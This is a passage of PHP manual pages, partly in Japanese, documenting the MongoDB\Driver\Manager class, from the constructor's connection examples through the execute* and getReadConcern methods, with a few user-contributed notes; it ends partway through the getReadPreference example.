The uriOptions argument now accepts "authMechanism" and "authMechanismProperties" options. Previously, these options were only supported in the uri argument.

PECL mongodb 1.2.0

The uri argument defaults to "mongodb://127.0.0.1/". The default port remains 27017.

Added the "appname" URI option.

Added the "allow_invalid_hostname", "ca_file", "ca_dir", "clr_file", "pem_file", "pem_pwd", and "weak_cert_validation" driver options.

The PHP Streams API is no longer used for socket communication. The "connectTimeoutMS" URI option now defaults to 10 seconds instead of default_socket_timeout in previous versions. Additionally, the driver no longer supports all SSL context options via the "context" driver option.

PECL mongodb 1.1.0

The uri argument is optional and defaults to "mongodb://localhost:27017/".

例

例1 MongoDB\Driver\Manager::__construct() basic examples

Connecting to standalone MongoDB node:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://example.com:27017");

?>

Connecting to standalone MongoDB node via a Unix domain socket. The socket path may include special characters such as slashes and should be encoded with rawurlencode().

<?php

$manager = new MongoDB\Driver\Manager("mongodb://" . rawurlencode("/tmp/mongodb-27017.sock"));

?>

Connecting to a replica set:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

?>

Connecting to a sharded cluster (i.e. one or more mongos instances):

<?php

$manager = new MongoDB\Driver\Manager("mongodb://mongos1.example.com,mongos2.example.com/");

?>

Connecting to MongoDB with authentication credentials for a particular user and database:

<?php

$manager = new MongoDB\Driver\Manager("mongodb://myusername:mypassword@example.com/?authSource=databaseName");

?>

Connecting to MongoDB with authentication credentials for a particular user and database, where the username or password includes special characters (e.g. @, :, %). In the following example, the password string myp@ss:w%rd has been manually escaped; however, rawurlencode() may also be used to escape URI components that may contain special characters.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://myusername:myp%40ss%3Aw%25rd@example.com/?authSource=databaseName");

?>

Connecting to MongoDB with X509 authentication:

<?php

$manager = new MongoDB\Driver\Manager(
    "mongodb://example.com/?ssl=true&authMechanism=MONGODB-X509",
    [],
    [
        "pem_file" => "/path/to/client.pem",
    ]
);
?>

参考

  • Connection handling and persistence
  • » MongoDB Connection String Format

User Contributed Notes

denys at bulakhweb dot com 06-Jul-2017 02:31
Please note, if you send socketTimeoutMs value as 0 to disable timeout (according to MongoDB documentation), it will be considered as default value which is 300,000 ms in PHP driver. So send some really huge amount in case if you need to disable limitation.
denys at bulakhweb dot com 06-Jul-2017 02:20
Please note, if you send socketTimeoutMs value as 0 to disable timeout (according to MongoDB documentation), it will be considered as default value which is 300,000 ms in PHP driver. So send some really huge amount in case if you need to disable limitation.


Create a new ClientEncryption object

  • ≪ MongoDB\Driver\Manager::__construct
  • MongoDB\Driver\Manager::executeBulkWrite ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Create a new ClientEncryption object

MongoDB\Driver\Manager::createClientEncryption

(mongodb >=1.7.0)

MongoDB\Driver\Manager::createClientEncryption — Create a new ClientEncryption object

説明

final public MongoDB\Driver\Manager::createClientEncryption ( array $options ) : MongoDB\Driver\ClientEncryption

Constructs a new MongoDB\Driver\ClientEncryption object with the specified options.

パラメータ

options

options
Option | Type | Description
keyVaultClient | MongoDB\Driver\Manager | The Manager used to route data key queries to a separate MongoDB cluster. By default, the current Manager and cluster is used.
keyVaultNamespace | string | A fully qualified namespace (e.g. "databaseName.collectionName") denoting the collection that contains all data keys used for encryption and decryption.
kmsProviders array

A document containing the configuration for one or more KMS providers, which are used to encrypt data keys. Currently aws or local are supported and at least one must be specified.

The format for aws is as follows:

aws: {
    accessKeyId: <string>,
    secretAccessKey: <string>
}

The format for local is as follows:

local: {
    // The master key used to encrypt/decrypt data keys
    key: <96-byte MongoDB\BSON\Binary with subtype 0>
}

返り値

Returns a new MongoDB\Driver\ClientEncryption instance.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException if the extension was compiled without libmongocrypt support

参考

  • MongoDB\Driver\ClientEncryption
  • » Explicit (Manual) Client-Side Field Level Encryption in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


Execute one or more write operations

  • ≪ MongoDB\Driver\Manager::createClientEncryption
  • MongoDB\Driver\Manager::executeCommand ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute one or more write operations

MongoDB\Driver\Manager::executeBulkWrite

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeBulkWrite — Execute one or more write operations

説明

final public MongoDB\Driver\Manager::executeBulkWrite ( string $namespace , MongoDB\Driver\BulkWrite $bulk , array $options = array() ) : MongoDB\Driver\WriteResult

Executes one or more write operations on the primary server.

A MongoDB\Driver\BulkWrite can be constructed with one or more write operations of varying types (e.g. updates, deletes, and inserts). The driver will attempt to send operations of the same type to the server in as few requests as possible to optimize round trips.

パラメータ

namespace (string)

完全修飾形式の名前空間 ("databaseName.collectionName")。

bulk (MongoDB\Driver\BulkWrite)

実行する書き込み。

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

返り値

成功した場合に MongoDB\Driver\WriteResult を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk does not contain any write operations.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if bulk has already been executed. MongoDB\Driver\BulkWrite objects may not be executed multiple times.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • 書き込みが失敗した場合 (書き込み先の適用に失敗した場合など) に MongoDB\Driver\Exception\BulkWriteException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors.

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\WriteConcern object.
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException is now thrown if bulk does not contain any write operations. Previously, a MongoDB\Driver\Exception\BulkWriteException was thrown.

例

例1 MongoDB\Driver\Manager::executeBulkWrite() example

<?php

$bulk = new MongoDB\Driver\BulkWrite();

$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);

$bulk->update(['x' => 2], ['$set' => ['x' => 1]], ['multi' => false, 'upsert' => false]);
$bulk->update(['x' => 3], ['$set' => ['x' => 3]], ['multi' => false, 'upsert' => true]);
$bulk->update(['_id' => 3], ['$set' => ['x' => 3]], ['multi' => false, 'upsert' => true]);

$bulk->insert(['_id' => 4, 'x' => 2]);

$bulk->delete(['x' => 1], ['limit' => 1]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 100);
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);

printf("Inserted %d document(s)\n", $result->getInsertedCount());
printf("Matched  %d document(s)\n", $result->getMatchedCount());
printf("Updated  %d document(s)\n", $result->getModifiedCount());
printf("Upserted %d document(s)\n", $result->getUpsertedCount());
printf("Deleted  %d document(s)\n", $result->getDeletedCount());

foreach ($result->getUpsertedIds() as $index => $id) {
    printf('upsertedId[%d]: ', $index);
    var_dump($id);
}

/* If the WriteConcern could not be fulfilled */
if ($writeConcernError = $result->getWriteConcernError()) {
    printf("%s (%d): %s\n", $writeConcernError->getMessage(), $writeConcernError->getCode(), var_export($writeConcernError->getInfo(), true));
}

/* If a write could not happen at all */
foreach ($result->getWriteErrors() as $writeError) {
    printf("Operation#%d: %s (%d)\n", $writeError->getIndex(), $writeError->getMessage(), $writeError->getCode());
}
?>

上の例の出力は、 たとえば以下のようになります。

Inserted 3 document(s)
Matched  1 document(s)
Updated  1 document(s)
Upserted 2 document(s)
Deleted  1 document(s)
upsertedId[3]: object(MongoDB\BSON\ObjectId)#5 (1) {
  ["oid"]=>
  string(24) "54d3adc3ce7a792f4d703756"
}
upsertedId[4]: int(3)

参考

  • MongoDB\Driver\BulkWrite
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Server::executeBulkWrite() - Execute one or more write operations on this server

User Contributed Notes

RJ 04-Sep-2019 05:29
If you're trying to figure out how to insert just one object and NOT an array resulting in a bunch of unwanted [0]s in your schema, I'm sorry I cannot help you. I've scoured the SERPs and since MongoDB\Driver\BulkWrite only takes an array it appears there is literally no way to "insertOne" in PHP7, nor a way to pass JUST an object and NOT an array, which may mean you must use a different language or revert to shell commands :-\.

There are several articles where people, apparently mistakenly, refer to "MongoDB\Driver\Client" but neither that nor "MongoDB\Driver\Collections" appear to exist at all. I'm devastated, but if this forces me to downgrade to PHP5 on a brand new project I'll just need to move to a more modern language. :-(

After several hours of this torture I'm now going to spend another hour trying to figure out if I can compose an update query that will collapse the unnecessary array that is being stuck where an object (document) should be. Ug. I realize people using MongoDB have mostly fled PHP, but abandoning the few & loyal among us is really very sad as has been attested to by the unresolved stackoverflow laments that have been going on for years.


Execute a database command

  • ≪ MongoDB\Driver\Manager::executeBulkWrite
  • MongoDB\Driver\Manager::executeQuery ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command

MongoDB\Driver\Manager::executeCommand

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeCommand — Execute a database command

説明

final public MongoDB\Driver\Manager::executeCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Selects a server according to the "readPreference" option and executes the command on that server. By default, the read preference from the MongoDB Connection URI will be used.

This method applies no special logic to the command. Although this method accepts "readConcern" and "writeConcern" options, which will be incorporated into the command document, those options will not default to corresponding values from the MongoDB Connection URI nor will the MongoDB server version be taken into account. Users are therefore encouraged to use specific read and/or write command methods if possible.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command, issuing a write command to a secondary).

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

例

例1 MongoDB\Driver\Manager::executeCommand() with a command returning a single result document

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$command = new MongoDB\Driver\Command(['ping' => 1]);

try {
    $cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
    echo $e->getMessage(), "\n";
    exit;
}

/* The ping command returns a single result document, so we need to access the
 * first result in the cursor. */
$response = $cursor->toArray()[0];

var_dump($response);

?>

上の例の出力は以下となります。

array(1) {
  ["ok"]=>
  float(1)
}

例2 MongoDB\Driver\Manager::executeCommand() with a command returning a cursor

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1, 'y' => 'foo']);
$bulk->insert(['x' => 2, 'y' => 'bar']);
$bulk->insert(['x' => 3, 'y' => 'bar']);
$manager->executeBulkWrite('db.collection', $bulk);

$command = new MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => [
        ['$group' => ['_id' => '$y', 'sum' => ['$sum' => '$x']]],
    ],
    'cursor' => new stdClass,
]);
$cursor = $manager->executeCommand('db', $command);

/* The aggregate command can optionally return its results in a cursor instead
 * of a single result document. In this case, we can iterate on the cursor
 * directly to access those results. */
foreach ($cursor as $document) {
    var_dump($document);
}

?>

上の例の出力は以下となります。

object(stdClass)#6 (2) {
  ["_id"]=>
  string(3) "bar"
  ["sum"]=>
  int(10)
}
object(stdClass)#7 (2) {
  ["_id"]=>
  string(3) "foo"
  ["sum"]=>
  int(2)
}

例3 Limiting execution time for a command

The execution time of a command may be limited by specifying a value for "maxTimeMS" in the MongoDB\Driver\Command document. Note that this time limit is enforced on the server side and does not take network latency into account. See » Terminate Running Operations in the MongoDB manual for more information.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');

$command = new MongoDB\Driver\Command([
    'count' => 'collection',
    'query' => ['x' => ['$gt' => 1]],
    'maxTimeMS' => 1000,
]);

$cursor = $manager->executeCommand('db', $command);

var_dump($cursor->toArray()[0]);

?>

If the command fails to complete after one second of execution time on the server, a MongoDB\Driver\Exception\ExecutionTimeoutException will be thrown.

注意

注意: If a secondary readPreference is used, it is the caller's responsibility to ensure that the command can be executed on a secondary. No validation is done by the driver.

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server

User Contributed Notes

There are no user contributed notes for this page.


Execute a database query

  • ≪ MongoDB\Driver\Manager::executeCommand
  • MongoDB\Driver\Manager::executeReadCommand ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database query

MongoDB\Driver\Manager::executeQuery

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeQuery — Execute a database query

説明

final public MongoDB\Driver\Manager::executeQuery ( string $namespace , MongoDB\Driver\Query $query , array $options = array() ) : MongoDB\Driver\Cursor

Selects a server according to the "readPreference" option and executes the query on that server. By default, the read preference from the MongoDB Connection URI will be used.

パラメータ

namespace (string)

完全修飾形式の名前空間 ("databaseName.collectionName")。

query (MongoDB\Driver\Query)

実行するクエリ。

options

options
Option Type Description
readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid query operators).

変更履歴

バージョン | 説明
PECL mongodb 1.4.0 | The third parameter is now an options array. For backwards compatibility, this paramater will still accept a MongoDB\Driver\ReadPreference object.

例

例1 MongoDB\Driver\Manager::executeQuery() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$filter = ['x' => ['$gt' => 1]];
$options = [
    'projection' => ['_id' => 0],
    'sort' => ['x' => -1],
];

$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query);

foreach ($cursor as $document) {
    var_dump($document);
}

?>

上の例の出力は以下となります。

object(stdClass)#6 (1) {
  ["x"]=>
  int(3)
}
object(stdClass)#7 (1) {
  ["x"]=>
  int(2)
}

例2 Limiting execution time for a query

The "maxTimeMS" MongoDB\Driver\Query option may be used to limit the execution time of a query. Note that this time limit is enforced on the server side and does not take network latency into account. See » Terminate Running Operations in the MongoDB manual for more information.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');

$filter = ['x' => ['$gt' => 1]];
$options = [
    'maxTimeMS' => 1000,
];

$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query);

foreach ($cursor as $document) {
    var_dump($document);
}

?>

If the query fails to complete after one second of execution time on the server, a MongoDB\Driver\Exception\ExecutionTimeoutException will be thrown.

参考

  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Query
  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Server::executeQuery() - Execute a database query on this server

User Contributed Notes

Anonymous 05-Mar-2017 04:52
$filter = [];
        if (!empty($mail_brand)) {
            $filter['mx.brand_id'] = intval($mail_brand);
        }
        if (!empty($contacttool_brand)) {
            $filter['contacttool.brand_id'] = intval($contacttool_brand);
        }
        if ($mx_switch_title == 20 || empty($province)) {
            $filter["wwwtitle"] = ['$ne' => null];
        }
        //网站??
        if (!empty($wwwtitle)) {
            $filter['wwwtitle'] = new \MongoDB\BSON\Regex(".*{$wwwtitle}.*", '');
        }
        //只?mx的??
        if ($mx_on_switch == 20 || empty($province)) {
            $filter["mx"] = ['$exists' => true];
        }
        //mx模糊??
        if (!empty($mx_vague_check)) {
            $filter["mx.mx"] = new \MongoDB\BSON\Regex(".*{$mx_vague_check}.*", '');
        }

        //如果没有??省?
        if (empty($province)) {
            $province = "shandong";
        }
        try {
            $options_base = ['connectTimeoutMS' => 500000, 'socketTimeoutMS' => 500000];
            $manager = new \MongoDB\Driver\Manager(C('mongodb_auth_url'), $options_base);
//            $readPreference = $manager->getReadPreference();
//            $server = $manager->selectServer($readPreference);
            $coll = C('default_db') . '.' . $province;
            $options = [
                "skip" => $page,
                "limit" => $rows,
                'projection' => ['createdate' => 0,
                    'expiresdate' => 0,
                    'registrant_city' => 0,
                    'registrant_street' => 0,
                    'registrant_state' => 0,
                    'updatedate' => 0,
                    'whoisserver_id' => 0,
                    'registrar_name_id' => 0,
                    'id' => 0,
                ],
            ];
            //?????的数量
            $commands = [
                'count' => $province,
                'query' => $filter
            ];
            $command = new \MongoDB\Driver\Command($commands);
            $cursor = $manager->executeCommand('mxmanage', $command);
            $info = $cursor->toArray();
            $count = $info[0]->n;
            $query = new \MongoDB\Driver\Query($filter, $options);
            $rows = $manager->executeQuery($coll, $query);
            $info = [];
            foreach ($rows as $document) {
                $doc = (array)$document;
                $doc['_id'] = (string)$doc['_id'];
                $doc['mail_brand_name'] = $doc['mx']->brand_name;
                $doc['mail_mx'] = $doc['mx']->mx ?: '';
                $doc['contacttool_brand_name'] = $doc['contacttool']->brand_name;
                $doc['mx_changetime'] = !$doc['mx_changetime'] ? '' : date('Y-m-d H:i', $doc['mx_changetime']);
                $doc['contacttool_changetime'] = !$doc['contacttool_changetime'] ? '' : date('Y-m-d H:i', $doc['contacttool_changetime']);
                unset($doc['mx']);
                unset($doc['contacttool']);
                $info[] = $doc;
            }
        } catch (\MongoDB\Driver\Exception $e) {
            echo $e->getMessage(), "\n";
            exit;
        }


Execute a database command that reads

  • ≪ MongoDB\Driver\Manager::executeQuery
  • MongoDB\Driver\Manager::executeReadWriteCommand ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command that reads

MongoDB\Driver\Manager::executeReadCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeReadCommand — Execute a database command that reads

説明

final public MongoDB\Driver\Manager::executeReadCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Selects a server according to the "readPreference" option and executes the command on that server. By default, the read preference from the MongoDB Connection URI will be used.

This method will apply logic that is specific to commands that read (e.g. » count) and take the MongoDB server version into account. The "readConcern" option will default to the corresponding value from the MongoDB Connection URI.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

readPreference MongoDB\Driver\ReadPreference

A read preference to use for selecting a server for the operation.

session MongoDB\Driver\Session

A session to associate with the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes
  • MongoDB\Driver\Server::executeReadCommand() - Execute a database command that reads on this server

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that reads and writes

  • ≪ MongoDB\Driver\Manager::executeReadCommand
  • MongoDB\Driver\Manager::executeWriteCommand ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command that reads and writes

MongoDB\Driver\Manager::executeReadWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeReadWriteCommand — Execute a database command that reads and writes

説明

final public MongoDB\Driver\Manager::executeReadWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Executes the command on the primary server.

This method will apply logic that is specific to commands that read and write (e.g. » aggregate) and take the MongoDB server version into account. The "readConcern" and "writeConcern" options will default to the corresponding values from the MongoDB Connection URI.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads
  • MongoDB\Driver\Manager::executeWriteCommand() - Execute a database command that writes
  • MongoDB\Driver\Server::executeReadWriteCommand() - Execute a database command that reads and writes on this server

User Contributed Notes

There are no user contributed notes for this page.


Execute a database command that writes

  • ≪ MongoDB\Driver\Manager::executeReadWriteCommand
  • MongoDB\Driver\Manager::getReadConcern ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Execute a database command that writes

MongoDB\Driver\Manager::executeWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeWriteCommand — Execute a database command that writes

説明

final public MongoDB\Driver\Manager::executeWriteCommand ( string $db , MongoDB\Driver\Command $command , array $options = array() ) : MongoDB\Driver\Cursor

Executes the command on the primary server.

This method will apply logic that is specific to commands that write (e.g. » drop) and take the MongoDB server version into account. The "writeConcern" option will default to the corresponding value from the MongoDB Connection URI.

注意: This method is not intended to be used to execute » insert, » update, or » delete commands. Users are encouraged to use MongoDB\Driver\Manager::executeBulkWrite() for those commands.

パラメータ

db (string)

コマンドを実行するデータベースの名前。

command (MongoDB\Driver\Command)

実行するコマンド。

options

options
Option Type Description
session MongoDB\Driver\Session

A session to associate with the operation.

writeConcern MongoDB\Driver\WriteConcern

A write concern to apply to the operation.

警告

If you are using a "session" which has a transaction in progress, you cannot specify a "readConcern" or "writeConcern" option. This will result in an MongoDB\Driver\Exception\InvalidArgumentException being thrown. Instead, you should set these two options when you create the transaction with MongoDB\Driver\Session::startTransaction().

返り値

成功した場合に MongoDB\Driver\Cursor を返します。

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used with an associated transaction in combination with a "readConcern" or "writeConcern" option.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the "session" option is used in combination with an unacknowledged write concern.
  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • サーバーへの接続が認証以外の理由で失敗した場合に MongoDB\Driver\Exception\ConnectionException をスローします。
  • 認証が必要な場面で認証に失敗した場合に MongoDB\Driver\Exception\AuthenticationException をスローします。
  • Throws MongoDB\Driver\Exception\RuntimeException on other errors (e.g. invalid command).

変更履歴

バージョン | 説明
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException will be thrown if the "session" option is used in combination with an unacknowledged write concern.

参考

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeReadCommand() - Execute a database command that reads
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Execute a database command that reads and writes
  • MongoDB\Driver\Server::executeWriteCommand() - Execute a database command that writes on this server

User Contributed Notes

There are no user contributed notes for this page.


Return the ReadConcern for the Manager

  • ≪ MongoDB\Driver\Manager::executeWriteCommand
  • MongoDB\Driver\Manager::getReadPreference ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the ReadConcern for the Manager

MongoDB\Driver\Manager::getReadConcern

(mongodb >=1.1.0)

MongoDB\Driver\Manager::getReadConcern — Return the ReadConcern for the Manager

説明

final public MongoDB\Driver\Manager::getReadConcern ( ) : MongoDB\Driver\ReadConcern

Returns the MongoDB\Driver\ReadConcern for the Manager, which is derived from its URI options. This is the default read concern for queries and commands executed on the Manager.

パラメータ

この関数にはパラメータはありません。

返り値

The MongoDB\Driver\ReadConcern for the Manager.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Manager::getReadConcern() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getReadConcern());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?readConcernLevel=local');
var_dump($manager->getReadConcern());

?>

上の例の出力は、 たとえば以下のようになります。

object(MongoDB\Driver\ReadConcern)#2 (0) {
}
object(MongoDB\Driver\ReadConcern)#1 (1) {
  ["level"]=>
  string(5) "local"
}

参考

  • MongoDB\Driver\ReadConcern
  • MongoDB\Driver\Manager::__construct() - Create new MongoDB Manager

User Contributed Notes

There are no user contributed notes for this page.


Return the ReadPreference for the Manager

  • ≪ MongoDB\Driver\Manager::getReadConcern
  • MongoDB\Driver\Manager::getServers ≫
  • PHP Manual
  • MongoDB\Driver\Manager
  • Return the ReadPreference for the Manager

MongoDB\Driver\Manager::getReadPreference

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getReadPreference — Return the ReadPreference for the Manager

説明

final public MongoDB\Driver\Manager::getReadPreference ( ) : MongoDB\Driver\ReadPreference

Returns the MongoDB\Driver\ReadPreference for the Manager, which is derived from its URI options. This is the default read preference for queries and commands executed on the Manager.

パラメータ

この関数にはパラメータはありません。

返り値

The MongoDB\Driver\ReadPreference for the Manager.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\Driver\Manager::getReadPreference() example

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getReadPreference());

